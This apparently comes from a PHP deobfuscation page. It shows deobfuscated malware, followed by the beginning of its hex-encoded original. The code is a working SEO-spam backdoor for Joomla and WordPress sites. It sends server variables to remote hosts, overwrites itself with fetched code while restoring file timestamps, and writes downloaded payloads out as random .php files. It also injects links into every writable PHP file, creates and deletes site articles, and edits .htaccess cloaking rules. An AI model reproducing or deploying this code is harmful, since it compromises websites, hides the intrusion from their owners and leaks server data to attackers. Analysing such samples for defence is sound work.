${$uspuglzg} = @curl_exec(${${"GLOBALS"}["xjfiqnvue"]});
curl_close(${${"GLOBALS"}["wlpgcq"]});
} else {
$loghvjfr = "errstr";
${"GLOBALS"}["jhhafwgcw"] = "fp";
${"GLOBALS"}["ptsevzvgvc"] = "errno";
${${"GLOBALS"}["kkxhtnwueot"]} = fsockopen(${${"GLOBALS"}["ijhifcytdux"]}, 80, ${${"GLOBALS"}["ptsevzvgvc"]}, ${$loghvjfr}, 10);
if (${${"GLOBALS"}["jhhafwgcw"]}) {
$pihdkkvnlru = "out";
${"GLOBALS"}["lyifisrz"] = "data";
${"GLOBALS"}["jtyftukdbha"] = "fp";
${"GLOBALS"}["fndrvouzfd"] = "out";
$jfycybheel = "resp";
$iylgqmu = "out";
${"GLOBALS"}["xgmciynlquh"] = "data";
${${"GLOBALS"}["fmjywmn"]} = http_build_query($_SERVER);
${"GLOBALS"}["sbrwedyy"] = "fp";
${"GLOBALS"}["pkscebqm"] = "resp";
$ycryduik = "goodjoomlapage";
${${"GLOBALS"}["ilxsujb"]} = "POST $linkofpost HTTP/1.0
";
${$pihdkkvnlru} .= "Host: $doordomain
";
$rknqvsnsdbju = "out";
${$iylgqmu} .= "Content-Type: application/x-www-form-urlencoded
";
${$rknqvsnsdbju} .= "Content-Length: " . strlen(${${"GLOBALS"}["lyifisrz"]}) . "
";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["fndrvouzfd"]});
fwrite(${${"GLOBALS"}["jtyftukdbha"]}, ${${"GLOBALS"}["xgmciynlquh"]});
${${"GLOBALS"}["pkscebqm"]} = "";
while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) {
${${"GLOBALS"}["lzefveci"]} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096);
}
fclose(${${"GLOBALS"}["sbrwedyy"]});
list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${$jfycybheel}, 2);
${$ycryduik} = ${${"GLOBALS"}["wfyrnkhbdr"]};
}
}
${${"GLOBALS"}["elfcktzbqfb"]} = preg_replace("/<title>(.*)<\/title>/iUm", "<title>" . ${$skfvsuopm} . "</title>", ${$mgzdlnixkas});
$spvivejuv = "query";
${${"GLOBALS"}["dadpbckqp"]} = JFactory::getDbo();
${$spvivejuv} = $db->getQuery(true);
$query->delete($db->quoteName("#__content"))->where(array(
$db->quoteName("id") . "=" . ${${"GLOBALS"}["swcgstmgh"]}
));
$db->setQuery(${${"GLOBALS"}["nmmpbbw"]});
${${"GLOBALS"}["ybrwxnhdcbv"]} = $db->query();
if (!empty(${${"GLOBALS"}["erqatbisy"]}) && stripos(${${"GLOBALS"}["ixiwnbgbdtr"]}, "HEREISCONTENT")) {
${"GLOBALS"}["jdmtinqzj"] = "regular";
${"GLOBALS"}["wibhbpsmplr"] = "goodjoomlapage";
${${"GLOBALS"}["elfcktzbqfb"]} = str_ireplace("content="HEREISCONTENT", "content=\"", ${${"GLOBALS"}["wibhbpsmplr"]});
${"GLOBALS"}["fswdtncqqnb"] = "matches";
${"GLOBALS"}["bzgknfeugu"] = "goodjoomlapage";
${${"GLOBALS"}["elfcktzbqfb"]} = str_ireplace("content=\" HEREISCONTENT", "content="", ${${"GLOBALS"}["elfcktzbqfb"]});
${"GLOBALS"}["fiuyuaszob"] = "regular";
${${"GLOBALS"}["bzgknfeugu"]} = preg_replace("/<meta property=[\"\']{1}og:description["\']{1} content=["\']{1}.*[\"\']{1}\s?\/>/iUs", "", ${${"GLOBALS"}["elfcktzbqfb"]});
${${"GLOBALS"}["fiuyuaszob"]} = "|(<h2>.*HEREISTITLE.*</h2>)|iUs";
${"GLOBALS"}["ynylhkunvwg"] = "goodjoomlapage";
preg_match_all(${${"GLOBALS"}["jdmtinqzj"]}, ${${"GLOBALS"}["ynylhkunvwg"]}, ${${"GLOBALS"}["ixedauuag"]});
if (!empty(${${"GLOBALS"}["fswdtncqqnb"]}[1][0])) {
$ltwmnol = "goodjoomlapage";
${"GLOBALS"}["vpngcxqdoe"] = "matches";
${${"GLOBALS"}["elfcktzbqfb"]} = str_ireplace(${${"GLOBALS"}["vpngcxqdoe"]}[1][0], "<h1>HEREISH1TAG</h1>", ${$ltwmnol});
}
}
echo ${$oessgycugdt};
exit;
}
} elseif (isset($_GET["upd"])) {
$jlduxfhx = "content";
$brbkohj = "filetime";
if (ini_get("allow_url_fopen") == 1) {
${"GLOBALS"}["okfdmfriuvg"] = "url";
${"GLOBALS"}["nbfigcpahwp"] = "context";
$yhyrnhfj = "context";
${${"GLOBALS"}["okfdmfriuvg"]} = "$url3?type=fopen&th=$th&vl=$vl&upd";
${$yhyrnhfj} = stream_context_create(array(
"http" => array(
"method" => "POST",
"header" => array(
"Content-type: application/x-www-form-urlencoded"
),
"content" => http_build_query($_SERVER)
)
));
${${"GLOBALS"}["ijmnpttx"]} = @file_get_contents(${${"GLOBALS"}["kpgyicevyz"]}, false, ${${"GLOBALS"}["nbfigcpahwp"]});
} elseif (function_exists("curl_init")) {
${"GLOBALS"}["skjblpo"] = "ch";
${"GLOBALS"}["clhpiwyevyx"] = "ch";
${${"GLOBALS"}["kpgyicevyz"]} = "$url3?type=curl&th=$th&vl=$vl&upd";
${"GLOBALS"}["qspoooy"] = "ch";
$watvrx = "ch";
${"GLOBALS"}["qskwyvghwt"] = "ch";
${${"GLOBALS"}["clhpiwyevyx"]} = curl_init(${${"GLOBALS"}["kpgyicevyz"]});
curl_setopt(${$watvrx}, CURLOPT_HEADER, FALSE);
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt(${${"GLOBALS"}["skjblpo"]}, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
${${"GLOBALS"}["ijmnpttx"]} = @curl_exec(${${"GLOBALS"}["qskwyvghwt"]});
curl_close(${${"GLOBALS"}["qspoooy"]});
} else {
${"GLOBALS"}["qjmdbwcp"] = "errstr";
${"GLOBALS"}["fzcrbszkxjjw"] = "fp";
${${"GLOBALS"}["fzcrbszkxjjw"]} = fsockopen(${${"GLOBALS"}["fvbmctwp"]}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${${"GLOBALS"}["qjmdbwcp"]}, 10);
if (${${"GLOBALS"}["kkxhtnwueot"]}) {
$ytcwqszqstj = "out";
$cykprnkh = "data";
$iwwdniykixq = "header";
$idzfxenxstiw = "out";
$fgradkjgdul = "fp";
${${"GLOBALS"}["fmjywmn"]} = http_build_query($_SERVER);
${${"GLOBALS"}["ilxsujb"]} = "POST $file3?type=socks&th=$th&vl=$vl&upd HTTP/1.0
";
${"GLOBALS"}["uqucjbnyqb"] = "data";
$cyzhpjpsd = "out";
${${"GLOBALS"}["ilxsujb"]} .= "Host: $cardas
";
$cpspkqlvfm = "body";
${$cyzhpjpsd} .= "Content-Type: application/x-www-form-urlencoded
";
${$ytcwqszqstj} .= "Content-Length: " . strlen(${$cykprnkh}) . "
";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${$idzfxenxstiw});
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["uqucjbnyqb"]});
${${"GLOBALS"}["lzefveci"]} = "";
while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) {
${"GLOBALS"}["wmwxvapqtnj"] = "fp";
${${"GLOBALS"}["lzefveci"]} .= fgets(${${"GLOBALS"}["wmwxvapqtnj"]}, 4096);
}
fclose(${$fgradkjgdul});
list(${$iwwdniykixq}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${${"GLOBALS"}["lzefveci"]}, 2);
${${"GLOBALS"}["ijmnpttx"]} = ${$cpspkqlvfm};
}
}
if (${$jlduxfhx} == null) {
exit;
}
${"GLOBALS"}["tnjsaden"] = "content";
${$brbkohj} = filemtime(__FILE__);
file_put_contents(__FILE__, ${${"GLOBALS"}["tnjsaden"]});
@touch(__FILE__, ${${"GLOBALS"}["mohtprvxf"]});
} elseif (isset($_GET["ws"])) {
${"GLOBALS"}["rwxwplxy"] = "file4";
$ocshhiddyor = "content";
$hlzhdxgauo = "chars";
${${"GLOBALS"}["wgtfqwb"]} = "http://$jj/handlers/txt/" . $_GET["ws"] . ".txt";
${"GLOBALS"}["nnpvyoolrs"] = "chars";
${${"GLOBALS"}["rwxwplxy"]} = "/handlers/txt/" . $_GET["ws"] . ".txt";
if (ini_get("allow_url_fopen") == 1) {
${"GLOBALS"}["lmlxhcmnpbp"] = "content";
$emogxotf = "url4";
${${"GLOBALS"}["lmlxhcmnpbp"]} = @file_get_contents(${$emogxotf});
} elseif (function_exists("curl_init")) {
$rcrjvrgiyolu = "url4";
${${"GLOBALS"}["wlpgcq"]} = curl_init(${$rcrjvrgiyolu});
$hthbdkdds = "ch";
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_HEADER, FALSE);
${"GLOBALS"}["bxpsywoi"] = "content";
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, TRUE);
${${"GLOBALS"}["bxpsywoi"]} = @curl_exec(${$hthbdkdds});
curl_close(${${"GLOBALS"}["wlpgcq"]});
} else {
${"GLOBALS"}["vwipjsmc"] = "fp";
$lwojcbwpqpg = "jj";
$mhethmfyglyk = "fp";
${${"GLOBALS"}["vwipjsmc"]} = fsockopen(${$lwojcbwpqpg}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${${"GLOBALS"}["vvovjnlr"]}, 10);
if (${$mhethmfyglyk}) {
${"GLOBALS"}["xunebfp"] = "fp";
${${"GLOBALS"}["ilxsujb"]} = "GET $file4 HTTP/1.1
";
${${"GLOBALS"}["ilxsujb"]} .= "Host: $jj
";
${${"GLOBALS"}["ilxsujb"]} .= "Content-Type: application/x-www-form-urlencoded
";
${"GLOBALS"}["piwwfmvrkw"] = "fp";
fwrite(${${"GLOBALS"}["piwwfmvrkw"]}, ${${"GLOBALS"}["ilxsujb"]});
${${"GLOBALS"}["lzefveci"]} = "";
while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) {
${"GLOBALS"}["sgujyn"] = "resp";
${${"GLOBALS"}["sgujyn"]} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096);
}
$ghrtqogqlvd = "resp";
fclose(${${"GLOBALS"}["xunebfp"]});
${${"GLOBALS"}["ijmnpttx"]} = ${$ghrtqogqlvd};
}
}
$jcgmxhb = "url";
if (${${"GLOBALS"}["ijmnpttx"]} == null) {
die("can't get txt file");
}
${$hlzhdxgauo} = "stuvwxyz";
$xxwjvxmwhjhw = "fp";
${${"GLOBALS"}["entpsxl"]} = str_shuffle(${${"GLOBALS"}["nnpvyoolrs"]}) . ".php";
${${"GLOBALS"}["kkxhtnwueot"]} = fopen(${${"GLOBALS"}["entpsxl"]}, "w");
${"GLOBALS"}["nyudnyrkmws"] = "url";
fwrite(${$xxwjvxmwhjhw}, ${$ocshhiddyor});
${${"GLOBALS"}["kpgyicevyz"]} = explode("/", $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]);
unset(${${"GLOBALS"}["nyudnyrkmws"]}[count(${${"GLOBALS"}["kpgyicevyz"]}) - 1]);
${$jcgmxhb} = "http://" . trim(implode("/", ${${"GLOBALS"}["kpgyicevyz"]})) . "/$filename";
echo ${${"GLOBALS"}["kpgyicevyz"]};
exit;
} elseif ($_GET["test"] == "howareyou" OR isset($_GET["z"])) {
echo "im okey";
exit;
} else {
if (ini_get("allow_url_fopen") == 1) {
$dafgekluadb = "url";
${$dafgekluadb} = "$url?type=fopen&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}) . "&cookiebot=$cookiebot";
${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array(
"http" => array(
"method" => "POST",
"header" => array(
"Content-type: application/x-www-form-urlencoded"
),
"content" => http_build_query($_SERVER)
)
));
$obnjgwlqkl = "context";
${${"GLOBALS"}["ijmnpttx"]} = @file_get_contents(${${"GLOBALS"}["kpgyicevyz"]}, false, ${$obnjgwlqkl});
} elseif (function_exists("curl_init")) {
$tyjumxcfar = "ch";
$qrblqbcdxk = "ch";
$wvzajbuxlb = "url";
$itxivmxibuni = "url";
${$itxivmxibuni} = "$url?type=curl&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}) . "&cookiebot=$cookiebot";
$hovvsagcloa = "ch";
${$tyjumxcfar} = curl_init(${$wvzajbuxlb});
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_HEADER, FALSE);
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt(${$qrblqbcdxk}, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
$kvdrsyeytp = "ch";
${${"GLOBALS"}["ijmnpttx"]} = @curl_exec(${$kvdrsyeytp});
curl_close(${$hovvsagcloa});
} else {
$pbnelkabvj = "fp";
${"GLOBALS"}["dynjcbaahq"] = "cardas";
$otxmhafws = "errstr";
${$pbnelkabvj} = fsockopen(${${"GLOBALS"}["dynjcbaahq"]}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${$otxmhafws}, 10);
if (${${"GLOBALS"}["kkxhtnwueot"]}) {
${"GLOBALS"}["tepxtmf"] = "out";
${"GLOBALS"}["oktovjcpv"] = "out";
${"GLOBALS"}["kazufavigqyr"] = "data";
$gubixzhjv = "v";
${"GLOBALS"}["dykegkgpqtv"] = "resp";
${"GLOBALS"}["vwwieyk"] = "out";
${"GLOBALS"}["wylmfvde"] = "out";
${"GLOBALS"}["fndwyhhldk"] = "fp";
${"GLOBALS"}["vuykphxnieq"] = "data";
$xqsezeomm = "resp";
${${"GLOBALS"}["kazufavigqyr"]} = http_build_query($_SERVER);
${${"GLOBALS"}["tepxtmf"]} = "POST $file?type=socks&th=$th&vl=$vl&v=" . urlencode(${$gubixzhjv}) . "&cookiebot=$cookiebot HTTP/1.0
";
${"GLOBALS"}["uliguafp"] = "content";
${${"GLOBALS"}["vwwieyk"]} .= "Host: $cardas
";
$fxfhpfsd = "out";
${${"GLOBALS"}["wylmfvde"]} .= "Content-Type: application/x-www-form-urlencoded
";
${${"GLOBALS"}["oktovjcpv"]} .= "Content-Length: " . strlen(${${"GLOBALS"}["vuykphxnieq"]}) . "
";
${"GLOBALS"}["pxbshyi"] = "data";
${"GLOBALS"}["syrfsmrqtow"] = "fp";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${$fxfhpfsd});
fwrite(${${"GLOBALS"}["fndwyhhldk"]}, ${${"GLOBALS"}["pxbshyi"]});
${$xqsezeomm} = "";
while (!feof(${${"GLOBALS"}["syrfsmrqtow"]})) {
$oizgwcxd = "resp";
$ysoocux = "fp";
${$oizgwcxd} .= fgets(${$ysoocux}, 4096);
}
fclose(${${"GLOBALS"}["kkxhtnwueot"]});
list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${${"GLOBALS"}["dykegkgpqtv"]}, 2);
${${"GLOBALS"}["uliguafp"]} = ${${"GLOBALS"}["wfyrnkhbdr"]};
}
}
echo ${${"GLOBALS"}["ijmnpttx"]};
}
function postlink($linktodoor)
{
foreach (glob("*.php") as ${${"GLOBALS"}["entpsxl"]}) {
${"GLOBALS"}["nniunmlnwtqo"] = "incfilecontent";
$icaxhotwncb = "incfilecontent";
$qvzefsotr = "filetime";
${"GLOBALS"}["sraheqwtvjs"] = "filename";
if (${${"GLOBALS"}["entpsxl"]} == basename(__FILE__) OR !is_writable(${${"GLOBALS"}["entpsxl"]})) {
continue;
}
${${"GLOBALS"}["mohtprvxf"]} = filemtime(${${"GLOBALS"}["entpsxl"]});
${$icaxhotwncb} = file_get_contents(${${"GLOBALS"}["entpsxl"]});
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/<\?php|<\?/i", "$linktodoor<?php", ${${"GLOBALS"}["nniunmlnwtqo"]}, 1);
file_put_contents(${${"GLOBALS"}["entpsxl"]}, ${${"GLOBALS"}["iojafskhi"]});
@touch(${${"GLOBALS"}["sraheqwtvjs"]}, ${$qvzefsotr});
}
}
function gettemplate($incfilecontent, $incfile, $doordomain, $param)
{
${"GLOBALS"}["eckcscota"] = "incfilecontent";
file_put_contents(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["eckcscota"]});
${${"GLOBALS"}["cwtrxpys"]} = "http://$doordomain/?testpage=$param";
${"GLOBALS"}["ofwfzpsdv"] = "goodpage";
if (ini_get("allow_url_fopen") == 1) {
${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array(
"http" => array(
"method" => "POST",
"header" => array(
"Content-type: application/x-www-form-urlencoded"
),
"content" => http_build_query($_SERVER)
)
));
${${"GLOBALS"}["wqvtok"]} = @file_get_contents(${${"GLOBALS"}["cwtrxpys"]}, false, ${${"GLOBALS"}["udiksnfsye"]});
} elseif (function_exists("curl_init")) {
${"GLOBALS"}["ctxrjwc"] = "siteurl";
$rvimzdi = "ch";
${"GLOBALS"}["mwvbhcmnyzw"] = "ch";
${${"GLOBALS"}["wlpgcq"]} = curl_init();
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_URL, ${${"GLOBALS"}["ctxrjwc"]});
curl_setopt(${$rvimzdi}, CURLOPT_HEADER, false);
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, true);
$imynrrh = "goodpage";
curl_setopt(${${"GLOBALS"}["mwvbhcmnyzw"]}, CURLOPT_REFERER, "");
${$imynrrh} = @curl_exec(${${"GLOBALS"}["wlpgcq"]});
curl_close(${${"GLOBALS"}["wlpgcq"]});
} else {
${"GLOBALS"}["uttzzougs"] = "fp";
${"GLOBALS"}["gffbxzweirq"] = "fp";
$zjilyjn = "errstr";
${"GLOBALS"}["hdgtdlqwhg"] = "errno";
$kjkflxsvm = "doordomain";
${${"GLOBALS"}["gffbxzweirq"]} = fsockopen(${$kjkflxsvm}, 80, ${${"GLOBALS"}["hdgtdlqwhg"]}, ${$zjilyjn}, 10);
if (${${"GLOBALS"}["uttzzougs"]}) {
$ekemmh = "out";
${"GLOBALS"}["jnmlnlkcdwb"] = "out";
${"GLOBALS"}["ytupugvryn"] = "out";
$chlbcyi = "data";
${$chlbcyi} = http_build_query($_SERVER);
$xplgiocfkdan = "out";
${"GLOBALS"}["nhuggcto"] = "goodpage";
${$xplgiocfkdan} = "POST /?testpage=$param HTTP/1.0
";
$knduisfq = "data";
${$ekemmh} .= "Host: $doordomain
";
${${"GLOBALS"}["jnmlnlkcdwb"]} .= "Content-Type: application/x-www-form-urlencoded
";
${${"GLOBALS"}["ytupugvryn"]} .= "Content-Length: " . strlen(${${"GLOBALS"}["fmjywmn"]}) . "
";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["ilxsujb"]});
$tnbhdqfy = "body";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${$knduisfq});
${"GLOBALS"}["seviwxgvrlm"] = "header";
$bmudpdvhi = "body";
${${"GLOBALS"}["lzefveci"]} = "";
while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) {
$evgpmqyyh = "resp";
${$evgpmqyyh} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096);
}
fclose(${${"GLOBALS"}["kkxhtnwueot"]});
list(${${"GLOBALS"}["seviwxgvrlm"]}, ${$tnbhdqfy}) = @preg_split("/\R\R/", ${${"GLOBALS"}["lzefveci"]}, 2);
${${"GLOBALS"}["nhuggcto"]} = ${$bmudpdvhi};
}
}
echo ${${"GLOBALS"}["ofwfzpsdv"]};
}
function postitem($title, $desc, $text)
{
${"GLOBALS"}["dyukkfcnoes"] = "database";
${"GLOBALS"}["qnjvwhfy"] = "item";
$qjyolsulhxkt = "title";
${${"GLOBALS"}["dyukkfcnoes"]} = JFactory::getDBO();
${${"GLOBALS"}["qnjvwhfy"]} = new stdClass;
$item->id = null;
$xpiqzylhvw = "desc";
$item->title = ${$qjyolsulhxkt};
$item->introtext = ${$xpiqzylhvw};
$item->fulltext = ${${"GLOBALS"}["dxvcbqd"]};
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = date("Y-m-d H:i:s");
$item->alias = JFilterOutput::stringURLSafe($item->title);
if (!$database->insertObject("#__content", ${${"GLOBALS"}["htympu"]}, "id")) {
echo $database->stderr();
return false;
}
return $item->id . ":" . $item->alias;
}
function htaccessnormalize()
{
${"GLOBALS"}["pngkxzdk"] = "htaccessfilename";
${${"GLOBALS"}["pngkxzdk"]} = ".htaccess";
${"GLOBALS"}["vklrjyn"] = "htaccessfilename";
if (file_exists(${${"GLOBALS"}["vklrjyn"]})) {
$titbbe = "htaccessincfilecontent";
$bjzsfdjluqt = "htaccessfilename";
${${"GLOBALS"}["cqsuterr"]} = filemtime(${${"GLOBALS"}["mqlzugct"]});
@chmod(${$bjzsfdjluqt}, 0666);
${${"GLOBALS"}["ygukjspw"]} = file_get_contents(${${"GLOBALS"}["mqlzugct"]});
if (preg_match("#RewriteCond \%\{HTTP_USER_AGENT\} \(google\|yahoo\|msn\|aol\|bing\) \[OR\](.*)RewriteCond \%\{HTTP_REFERER\} \(google\|yahoo\|msn\|aol\|bing\)#iUs", ${$titbbe})) {
${${"GLOBALS"}["ygukjspw"]} = preg_replace("#<IfModule mod_rewrite\.c>(.*)RewriteCond \%\{HTTP_USER_AGENT\} \(google\|yahoo\|msn\|aol\|bing\) \[OR\](.*)RewriteCond \%\{HTTP_REFERER\} \(google\|yahoo\|msn\|aol\|bing\)(.*)RewriteRule \^\.\*\$ index\.php \[L\](.*)<\/IfModule>#iUs", "", ${${"GLOBALS"}["ygukjspw"]});
${"GLOBALS"}["vrdkikk"] = "htaccessfilename";
${"GLOBALS"}["hbwmvjjbkn"] = "filetime";
file_put_contents(${${"GLOBALS"}["vrdkikk"]}, ${${"GLOBALS"}["ygukjspw"]});
@touch(${${"GLOBALS"}["mqlzugct"]}, ${${"GLOBALS"}["hbwmvjjbkn"]});
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
${"\x47\x4c\x4f\x42A\x4cS"}["\x79g\x75\x6b\x6aspw"] = "\x68\x74\x61\x63\x63\x65ss\x69n\x63\x66\x69\x6c\x65co\x6et\x65\x6et";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6dq\x6c\x7au\x67ct"] = "\x68\x74a\x63c\x65\x73\x73\x66\x69l\x65na\x6de";
${"\x47\x4c\x4f\x42\x41LS"}["c\x71\x73\x75\x74e\x72\x72"] = "\x68t\x61\x63c\x65\x73\x73\x66i\x6c\x65\x74\x69m\x65";
${"G\x4c\x4f\x42\x41L\x53"}["\x68\x74\x79m\x70\x75"] = "\x69\x74em";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64xv\x63b\x71\x64"] = "\x74ex\x74";
${"\x47L\x4fBA\x4c\x53"}["\x77qvt\x6f\x6b"] = "goo\x64\x70a\x67\x65";
${"G\x4c\x4f\x42A\x4c\x53"}["c\x77trx\x70y\x73"] = "\x73\x69t\x65u\x72l";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x65\x6et\x70\x73\x78\x6c"] = "\x66\x69\x6c\x65\x6e\x61m\x65";
${"\x47LOB\x41\x4cS"}["\x77\x67\x74\x66\x71\x77\x62"] = "u\x72l\x34";
${"GL\x4f\x42\x41LS"}["\x69\x6a\x6d\x6ep\x74\x74\x78"] = "co\x6et\x65\x6et";
${"G\x4c\x4f\x42A\x4c\x53"}["i\x78ed\x61u\x75ag"] = "\x6d\x61t\x63\x68es";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73wc\x67\x73\x74\x6d\x67h"] = "\x69d";
${"\x47\x4c\x4f\x42\x41LS"}["e\x6cfck\x74z\x62\x71\x66\x62"] = "\x67\x6f\x6fdj\x6foml\x61\x70\x61\x67\x65";
${"G\x4cO\x42\x41L\x53"}["j\x79c\x69\x66\x76\x6a\x6c\x70\x6c"] = "\x61l\x69as";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x74\x77\x68\x6f\x6d\x69\x6e\x6ac\x6f"] = "ti\x74l\x65\x74e\x6dp";
${"G\x4c\x4f\x42A\x4cS"}["\x74nq\x71\x62ul\x6d\x62m"] = "\x69d\x74em\x70";
${"\x47\x4cO\x42\x41L\x53"}["m\x63\x66n\x6f\x6a\x67"] = "j\x6f\x6fm\x6c\x61\x75rl";
${"G\x4cO\x42\x41\x4cS"}["lu\x69\x67xsc"] = "\x67\x6f\x6f\x64\x77\x6frdpr\x65\x73\x73\x70a\x67e";
${"\x47L\x4f\x42\x41L\x53"}["\x66\x6f\x71l\x74\x76l\x62\x7abm"] = "p\x65rm\x61\x6cin\x6b";
${"GL\x4f\x42A\x4c\x53"}["\x75\x69\x69\x6f\x6a\x63\x6bmy"] = "\x70\x6fs\x74\x5f\x69\x64";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x68\x72\x72\x63\x64\x79q"] = "\x70os\x74\x5fd\x61\x74\x61";
${"G\x4cO\x42A\x4c\x53"}["\x71\x63\x76\x6c\x61yi"] = "\x63\x68\x61r\x73";
${"GL\x4f\x42\x41LS"}["n\x6fu\x79\x62\x7a\x69\x7au"] = "slug\x6ea\x6d\x65";
${"G\x4c\x4f\x42A\x4cS"}["\x72\x79l\x78\x74e"] = "si\x74\x65\x5fr\x6f\x6ft_di\x72";
${"G\x4c\x4f\x42\x41L\x53"}["c\x75\x7a\x6c\x6d\x66c\x68\x73"] = "\x63ou\x6e\x74\x65r";
${"G\x4cO\x42\x41\x4c\x53"}["r\x72\x76\x6f\x77\x71o"] = "l\x69\x6ek\x74odo\x6f\x72";
${"\x47L\x4fB\x41\x4cS"}["w\x74\x68\x73\x74\x6cd\x72\x67"] = "\x70\x65\x72\x6ds";
${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x6bx\x74um\x67\x7a\x67"] = "j\x6f\x6f\x6d\x6c\x61\x66\x69\x6c\x65\x73";
${"\x47L\x4f\x42A\x4cS"}["\x6d\x6f\x68\x74p\x72vx\x66"] = "\x66\x69l\x65\x74i\x6d\x65";
${"G\x4c\x4f\x42\x41\x4c\x53"}["ij\x68i\x66\x63yt\x64ux"] = "\x64\x6fo\x72\x64\x6fma\x69\x6e";
${"G\x4cOBAL\x53"}["b\x63h\x72frw\x70"] = "p\x61\x72\x61\x6d";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x6f\x6a\x61\x66\x73\x6b\x68i"] = "i\x6e\x63\x66il\x65\x63\x6f\x6ete\x6et";
${"GLOBA\x4cS"}["\x68wjnb\x63\x6c\x71"] = "\x69\x6e\x63fil\x65\x63o\x6ete\x6e\x74o\x72\x69\x67\x69\x6e\x61\x6c";
${"G\x4c\x4f\x42A\x4cS"}["\x6ex\x64v\x73\x79\x69v\x79"] = "\x69\x6e\x63fi\x6c\x65";
${"\x47\x4cO\x42A\x4c\x53"}["yn\x71\x78k\x64"] = "i";
${"\x47\x4c\x4fBA\x4c\x53"}["\x61v\x70\x6e\x77\x68\x67\x62\x75\x6f\x65"] = "wp\x66i\x6c\x65\x73";
${"\x47\x4cO\x42\x41\x4cS"}["gj\x77\x72\x77\x69\x63\x79\x68\x6f\x6e"] = "\x74\x69\x6d\x65";
${"\x47\x4c\x4f\x42A\x4cS"}["\x7af\x70\x6b\x74\x6e"] = "f";
${"\x47\x4c\x4fBA\x4c\x53"}["tjm\x78\x74\x70\x6c\x72\x70\x7a\x70"] = "\x63\x75r\x72f\x69let\x69me";
${"GL\x4f\x42A\x4c\x53"}["w\x66\x79\x72n\x6b\x68bdr"] = "b\x6f\x64\x79";
${"GL\x4f\x42A\x4c\x53"}["\x6e\x65m\x63\x79r\x6a\x71\x67w"] = "\x68\x65\x61\x64\x65\x72";
${"\x47L\x4f\x42A\x4c\x53"}["lz\x65\x66v\x65\x63i"] = "\x72\x65\x73\x70";
${"\x47\x4c\x4f\x42\x41L\x53"}["fm\x6a\x79\x77\x6d\x6e"] = "da\x74\x61";
${"G\x4c\x4f\x42\x41\x4cS"}["\x69\x6c\x78\x73ujb"] = "\x6f\x75\x74";
${"G\x4c\x4fB\x41\x4c\x53"}["\x76vovj\x6e\x6c\x72"] = "\x65rr\x73\x74\x72";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x74upj\x68\x6a\x62xx\x67"] = "e\x72\x72\x6eo";
${"\x47L\x4fB\x41L\x53"}["\x6b\x6bxh\x74\x6e\x77ue\x6ft"] = "fp";
${"G\x4cOBALS"}["re\x6eg\x6c\x70m"] = "\x63u\x72\x6c\x75r\x6c";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x6cp\x67\x63\x71"] = "c\x68";
${"G\x4c\x4f\x42\x41\x4c\x53"}["to\x66\x7ah\x77\x76\x6fzg"] = "\x67o\x6f";
${"\x47\x4cOB\x41L\x53"}["\x75d\x69k\x73\x6e\x66\x73y\x65"] = "c\x6f\x6e\x74\x65xt";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x74\x69\x65\x73x\x62\x68o"] = "\x66g\x63\x75\x72l";
${"G\x4c\x4f\x42\x41L\x53"}["\x79o\x74pp\x79m"] = "\x6a\x6a";
${"GLOBA\x4c\x53"}["\x66\x76\x62mc\x74\x77\x70"] = "c\x61\x72\x64as";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6a\x6f\x77\x74\x62\x70mw"] = "l\x69n\x6ba\x6e\x63hor";
